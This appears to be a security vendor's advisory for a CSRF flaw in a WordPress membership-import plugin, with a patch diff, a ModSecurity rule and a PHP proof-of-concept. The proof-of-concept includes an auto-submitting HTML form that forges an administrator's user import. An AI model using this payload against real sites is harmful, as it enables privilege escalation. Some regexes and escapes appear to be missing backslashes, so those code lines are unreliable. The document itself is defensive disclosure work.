Free WordPress WAF
Protect your site at the edge
Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.
Get Protected FreeAtomic Edge analysis of CVE-2026-127201: The Simple Membership WP User Import plugin for WordPress (versions up to and including 1.9.2) is vulnerable to Cross-Site Request Forgery (CSRF). The flaw allows unauthenticated attackers to trick a site administrator into importing arbitrary WordPress users into Simple Membership with attacker-controlled membership levels and role mappings. The CVSS score is 4.3 (Medium), and the CWE is 352 (CSRF).
The root cause is missing nonce validation and insufficient permission checks on the ‘add_selective’ action. In the vulnerable version, the `add()` method in `classes/class.swpm-wp-import.php` only checked a nonce for the ‘add_all’ action (`check_admin_referer(‘swpm-wp-import-all-users’)`), but not for the ‘add_selective’ action. The ‘add_selective’ branch directly processed `$_POST[‘wp_users’]` and related arrays without verifying a nonce or calling `current_user_can()`. This allowed an attacker to forge a request that appears to come from the administrator. The patch adds a nonce check (`check_admin_referer(‘swpm-wp-import-selective-users’, ‘swpm_import_selective_nonce’)`) and a permission check (`$this->check_permission()`) before processing the import. It also adds input validation, sanitization, and output escaping.
Exploitation requires the attacker to craft a malicious HTML page or link that submits a POST request to `/wp-admin/admin.php?page=swpm-wp-import` (the plugin’s admin page). The request must include the parameters `action=add_selective` (or `action2=add_selective`), one or more `wp_users[]` IDs, and corresponding arrays for `membership_level[]`, `account_state[]`, `subscription_starts[]`, and optionally `preserve_role[]`. The attacker must trick a logged-in administrator into visiting the malicious page or clicking the link. Successful exploitation imports the selected WordPress users into Simple Membership with the specified membership level and role mapping (via the `preserve_role` parameter), potentially modifying their WordPress role if the plugin’s level-to-role mapping is configured. This can lead to privilege escalation if the attacker chooses a membership level that maps to an administrative role.
The patch fixes the vulnerability by adding a nonce field to the selective import form in `views/wp_user_list.php` (`wp_nonce_field(‘swpm-wp-import-selective-users’, ‘swpm_import_selective_nonce’)`) and verifying it in the `add()` method. It also introduces a `check_permission()` method that calls `current_user_can()` with the appropriate capability (default ‘manage_options’, or `SWPM_MANAGEMENT_PERMISSION` if defined) and dies if the user lacks permission. This ensures that only authorized users can perform the import and that the request is intentional. Additional validation (e.g., `is_valid_import_row()`, `sanitize_date()`, `absint()`) prevents malformed data from being processed.
The impact of successful exploitation is that an attacker can import arbitrary WordPress users into Simple Membership, assign them a membership level, and potentially alter their WordPress role via the role mapping feature. This could lead to privilege escalation if the attacker maps a low-privilege user to an administrative role, or it could be used to grant unauthorized access to premium content. The vulnerability requires administrator interaction, which limits its severity, but it still poses a significant risk in multi-user environments.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/simple-membership-wp-user-import/classes/class.swpm-wp-import.php
+++ b/simple-membership-wp-user-import/classes/class.swpm-wp-import.php
@@ -12,11 +12,20 @@
wp_enqueue_style('swpm-jquery-ui');
wp_enqueue_script('jquery-ui-datepicker');
}
- public function user_import_do_admin_menu($menu_parent_slug){
+ private function get_management_permission(){
$permission = 'manage_options';
if (defined('SWPM_MANAGEMENT_PERMISSION')){
$permission = SWPM_MANAGEMENT_PERMISSION;
}
+ return $permission;
+ }
+ private function check_permission(){
+ if (!current_user_can($this->get_management_permission())){
+ wp_die(__("You do not have permission to perform this action.", 'simple-membership'));
+ }
+ }
+ public function user_import_do_admin_menu($menu_parent_slug){
+ $permission = $this->get_management_permission();
add_submenu_page($menu_parent_slug, __("WP User Import", 'simple-membership'), __("WP User Import", 'simple-membership'), $permission, 'swpm-wp-import', array(&$this, 'import_admin_menu'));
}
public function import_admin_menu(){
@@ -26,26 +35,75 @@
private function add(){
$action = filter_input(INPUT_POST, 'add_all');
if (!empty($action)){
- if (!check_admin_referer('swpm-wp-import-all-users')){
- wp_die(__("Nonce verification failed.", 'simple-membership'));
- }
+ check_admin_referer('swpm-wp-import-all-users');
+ $this->check_permission();
$this->add_all();
}
$action = filter_input(INPUT_POST, 'action');
$action2 = filter_input(INPUT_POST, 'action2');
- if ('add_selective' == $action || 'add_selective' == $action2){
+ if ('add_selective' == $action || 'add_selective' == $action2){
+ check_admin_referer('swpm-wp-import-selective-users', 'swpm_import_selective_nonce');
+ $this->check_permission();
+
+ if (empty($_POST['wp_users']) || !is_array($_POST['wp_users'])){
+ echo '<div id="message" class="error"><p>No users were selected for import.</p></div>';
+ return;
+ }
+ $skipped = 0;
foreach ($_POST['wp_users'] as $key=>$ID){
$user = new stdClass();
- $user->ID = $ID;
+ $user->ID = absint($ID);
$user->preserve_wp_role = isset($_POST['preserve_role']) && isset($_POST['preserve_role'][$key]) ? 1: null;
- $user->subscription_starts = $_POST['subscription_starts'][$key];
- $user->membership_level = $_POST['membership_level'][$key];
- $user->account_state = $_POST['account_state'][$key];
+ $user->subscription_starts = isset($_POST['subscription_starts'][$key]) ? $this->sanitize_date($_POST['subscription_starts'][$key]) : '';
+ $user->membership_level = isset($_POST['membership_level'][$key]) ? absint($_POST['membership_level'][$key]) : 0;
+ $user->account_state = isset($_POST['account_state'][$key]) ? sanitize_text_field(wp_unslash($_POST['account_state'][$key])) : '';
+ if (!$this->is_valid_import_row($user)){
+ $skipped++;
+ continue;
+ }
$this->add_one($user);
}
echo '<div id="message" class="updated fade"><p>Import operation performed!</p></div>';
+ if ($skipped > 0){
+ echo '<div id="message" class="error"><p>' . esc_html(sprintf('%d user(s) were skipped because of an invalid user, membership level or account state.', $skipped)) . '</p></div>';
+ }
+ }
+ }
+ private function sanitize_date($date){
+ $date = sanitize_text_field(wp_unslash($date));
+ if (preg_match('/^d{4}-d{2}-d{2}$/', $date)){
+ return $date;
}
+ return date('Y-m-d');
+ }
+ private function get_allowed_account_states(){
+ $states = array('active', 'inactive', 'activation_required', 'pending', 'expired');
+ if (method_exists('SwpmUtils', 'get_account_state_options')){
+ $states = array_keys(SwpmUtils::get_account_state_options());
+ }
+ //The "Import All" form also offers the blocked state.
+ $states[] = 'blocked';
+ return $states;
+ }
+ private function is_valid_membership_level($level_id){
+ global $wpdb;
+ $level_id = absint($level_id);
+ //Level 1 is the internal content protection level and can't be assigned to members.
+ if ($level_id <= 1){
+ return false;
+ }
+ $found = $wpdb->get_var($wpdb->prepare("SELECT id FROM " . $wpdb->prefix . "swpm_membership_tbl WHERE id = %d", $level_id));
+ return !empty($found);
+ }
+ private function is_valid_import_row($row){
+ if (empty($row->ID) || !get_userdata($row->ID)){
+ return false;
+ }
+ if (!in_array($row->account_state, $this->get_allowed_account_states(), true)){
+ return false;
+ }
+ return $this->is_valid_membership_level($row->membership_level);
}
private function show_list(){
$wp_user = new SwpmWpUserList();
@@ -54,12 +112,16 @@
private function add_all(){
global $wpdb;
$preserve_role = filter_input(INPUT_POST, 'wp_users_preserve_wp_role');
- $subscription_starts = filter_input(INPUT_POST, 'wp_users_subscription_starts');
- $membership_level = filter_input(INPUT_POST, 'wp_users_membership_level');
- $account_state = filter_input(INPUT_POST, 'wp_users_account_state');
+ $subscription_starts = $this->sanitize_date((string) filter_input(INPUT_POST, 'wp_users_subscription_starts'));
+ $membership_level = absint(filter_input(INPUT_POST, 'wp_users_membership_level'));
+ $account_state = sanitize_text_field((string) filter_input(INPUT_POST, 'wp_users_account_state'));
$import_all = filter_input(INPUT_POST, 'wp_add_wp_member_to_swpm');
if ($import_all){
+ if (!$this->is_valid_membership_level($membership_level) || !in_array($account_state, $this->get_allowed_account_states(), true)){
+ echo '<div id="message" class="error"><p>Invalid membership level or account state. No users were imported.</p></div>';
+ return;
+ }
$users = $wpdb->get_results("SELECT ID FROM $wpdb->users");
foreach ($users as $user){
$user->membership_level = $membership_level;
@@ -74,7 +136,11 @@
private function add_one($row) {
global $wpdb;
$user_info = get_userdata($row->ID);
- $user_cap = is_array($user_info->wp_capabilities) ? array_keys($user_info->wp_capabilities) : array();
+ if (!$user_info){
+ return false;
+ }
+ //Use the roles property so this works with any database table prefix.
+ $user_cap = is_array($user_info->roles) ? $user_info->roles : array();
$fields = array();
$fields['user_name'] = $user_info->user_login;
$fields['first_name'] = $user_info->user_firstname;
--- a/simple-membership-wp-user-import/classes/class.swpm_wp_user_list.php
+++ b/simple-membership-wp-user-import/classes/class.swpm_wp_user_list.php
@@ -74,10 +74,9 @@
function prepare_items() {
global $wpdb;
$query = "SELECT * FROM " . $wpdb->users ;
- if (isset($_POST['s'])){
- $query .= " WHERE user_login LIKE '%" . sanitize_text_field($_POST['s']) . "%' "
- . " OR user_email LIKE '%" . sanitize_text_field($_POST['s']) . "%' "
- . " OR display_name LIKE '%" . sanitize_text_field($_POST['s']) . "%' ";
+ if (isset($_POST['s']) && $_POST['s'] !== ''){
+ $search = '%' . $wpdb->esc_like(sanitize_text_field(wp_unslash($_POST['s']))) . '%';
+ $query .= $wpdb->prepare(" WHERE user_login LIKE %s OR user_email LIKE %s OR display_name LIKE %s ", $search, $search, $search);
}
$orderby = !empty($_GET["orderby"]) ? sanitize_text_field($_GET["orderby"]) : '';
$orderby = $this->sanitize_value_by_array($orderby, $this->get_sortable_columns());
--- a/simple-membership-wp-user-import/swpm-wp-import.php
+++ b/simple-membership-wp-user-import/swpm-wp-import.php
@@ -2,15 +2,15 @@
/*
Plugin Name: Simple Membership WP User Import
Plugin URI: https://simple-membership-plugin.com/import-existing-wordpress-users-simple-membership-plugin/
-Description: Addon for importing existing Wordpress users to Simple Membership
+Description: Addon for importing existing WordPress users to Simple Membership
Author: wp.insider
Author URI: https://simple-membership-plugin.com/
-Version: 1.9.2
+Version: 1.9.3
*/
//Slug swmp_wpimport_
-define( 'SWPM_WP_IMPORT_VERSION', '1.9.2' );
+define( 'SWPM_WP_IMPORT_VERSION', '1.9.3' );
define('SWPM_WP_IMPORT_PATH', dirname(__FILE__) . '/');
define('SWPM_WP_IMPORT_URL', plugins_url('',__FILE__));
require_once ('classes/class.swpm-wp-import.php');
--- a/simple-membership-wp-user-import/views/wp_user_list.php
+++ b/simple-membership-wp-user-import/views/wp_user_list.php
@@ -60,6 +60,7 @@
</form>
<?php $wp_user->prepare_items(); ?>
<form method="post">
+ <?php wp_nonce_field('swpm-wp-import-selective-users', 'swpm_import_selective_nonce'); ?>
<?php $wp_user->display(); ?>
</form>
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$"
"id:2026127201,phase:2,deny,status:403,chain,msg:'CVE-2026-127201 via Simple Membership WP User Import CSRF',severity:'CRITICAL',tag:'CVE-2026-127201'"
SecRule ARGS_POST:page "@streq swpm-wp-import" "chain"
SecRule ARGS_POST:action|ARGS_POST:action2 "@streq add_selective" "chain"
SecRule ARGS_POST:wp_users "@rx ^d+$" "t:none"
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-127201 - Simple Membership WP user Import <= 1.9.2 - Cross-Site Request Forgery to add_selective Action
// This PoC demonstrates a CSRF attack that forces an authenticated administrator
// to import a WordPress user (ID=2) into Simple Membership with membership level 2
// and preserve the user's current role.
// Usage: Host this script on an attacker-controlled server. Trick an admin into visiting it.
$target_url = 'http://victim-site.com'; // Change to the target WordPress site URL
// The vulnerable endpoint: /wp-admin/admin.php?page=swpm-wp-import
$endpoint = $target_url . '/wp-admin/admin.php?page=swpm-wp-import';
// Prepare the POST data for the CSRF attack.
// The attacker controls the user ID(s) and the membership level(s).
$post_data = [
'action' => 'add_selective', // Vulnerable action
// The user ID(s) to import (must exist in WordPress).
'wp_users' => [2], // Example: user ID 2
// Corresponding membership level ID (attacker-chosen).
'membership_level' => [2], // Example: level 2
// Account state for the imported member.
'account_state' => ['active'],
// Subscription start date (format YYYY-MM-DD).
'subscription_starts' => [date('Y-m-d')],
// Optionally preserve the user's current WordPress role.
'preserve_role' => [1], // 1 to preserve, omit or 0 to not.
];
// Build the POST query string.
$post_string = http_build_query($post_data);
// Initialize cURL.
$ch = curl_init();
// Set cURL options to send a POST request.
curl_setopt($ch, CURLOPT_URL, $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_string);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Do not follow redirects to avoid detection.
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
// Include cookies if the attacker has them, but in a CSRF attack the victim's browser sends them automatically.
// In a real attack, the victim's browser would send the request with the admin's cookies.
// For demonstration, we simulate no cookies.
// Execute the request.
$response = curl_exec($ch);
// Check for errors.
if (curl_errno($ch)) {
echo 'cURL error: ' . curl_error($ch) . "n";
} else {
// Output the HTTP status code and response (for debugging).
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
echo "HTTP Status: $http_coden";
echo "Response: " . substr($response, 0, 500) . "...n";
}
// Close cURL.
curl_close($ch);
// Note: In a real attack, the attacker would embed an auto-submitting form in a page
// that the administrator visits, and the browser would send the admin's cookies.
// This script demonstrates the request structure but does not handle cookie theft.
// Example HTML form for CSRF:
/*
<form action="http://victim-site.com/wp-admin/admin.php?page=swpm-wp-import" method="POST" id="csrf-form">
<input type="hidden" name="action" value="add_selective">
<input type="hidden" name="wp_users[]" value="2">
<input type="hidden" name="membership_level[]" value="2">
<input type="hidden" name="account_state[]" value="active">
<input type="hidden" name="subscription_starts[]" value="2026-01-01">
<input type="hidden" name="preserve_role[]" value="1">
</form>
<script>document.getElementById('csrf-form').submit();</script>
*/
?>